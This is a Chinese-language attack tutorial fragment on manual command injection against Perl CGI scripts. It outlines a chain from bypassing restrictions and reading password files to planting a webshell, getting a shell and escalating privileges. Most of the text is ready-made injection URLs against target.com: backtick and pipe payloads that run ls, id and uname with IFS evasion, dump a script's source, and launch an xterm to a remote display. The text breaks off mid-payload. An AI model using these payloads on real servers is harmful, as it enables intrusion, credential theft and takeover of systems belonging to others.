总体思路,跳过限制,查看敏感文件和密码相关文件。
写入一句话cgi,进后台试传webshell(如果后台加验证或者MD5的时候,可以试着cookies欺骗、本地提交),寻找可执行的目录和相关函数,拿shell>提权
一、Perl 手工注入
Perl脚本的漏洞大多出在open()、system()或者 ’’调用中,前者允许读写和执行,而后两个允许执行。
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET。
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
http://target.com/cgi-bin/home/news/sub.pl?`id`
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
http://target.com/test.pl;ls|
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.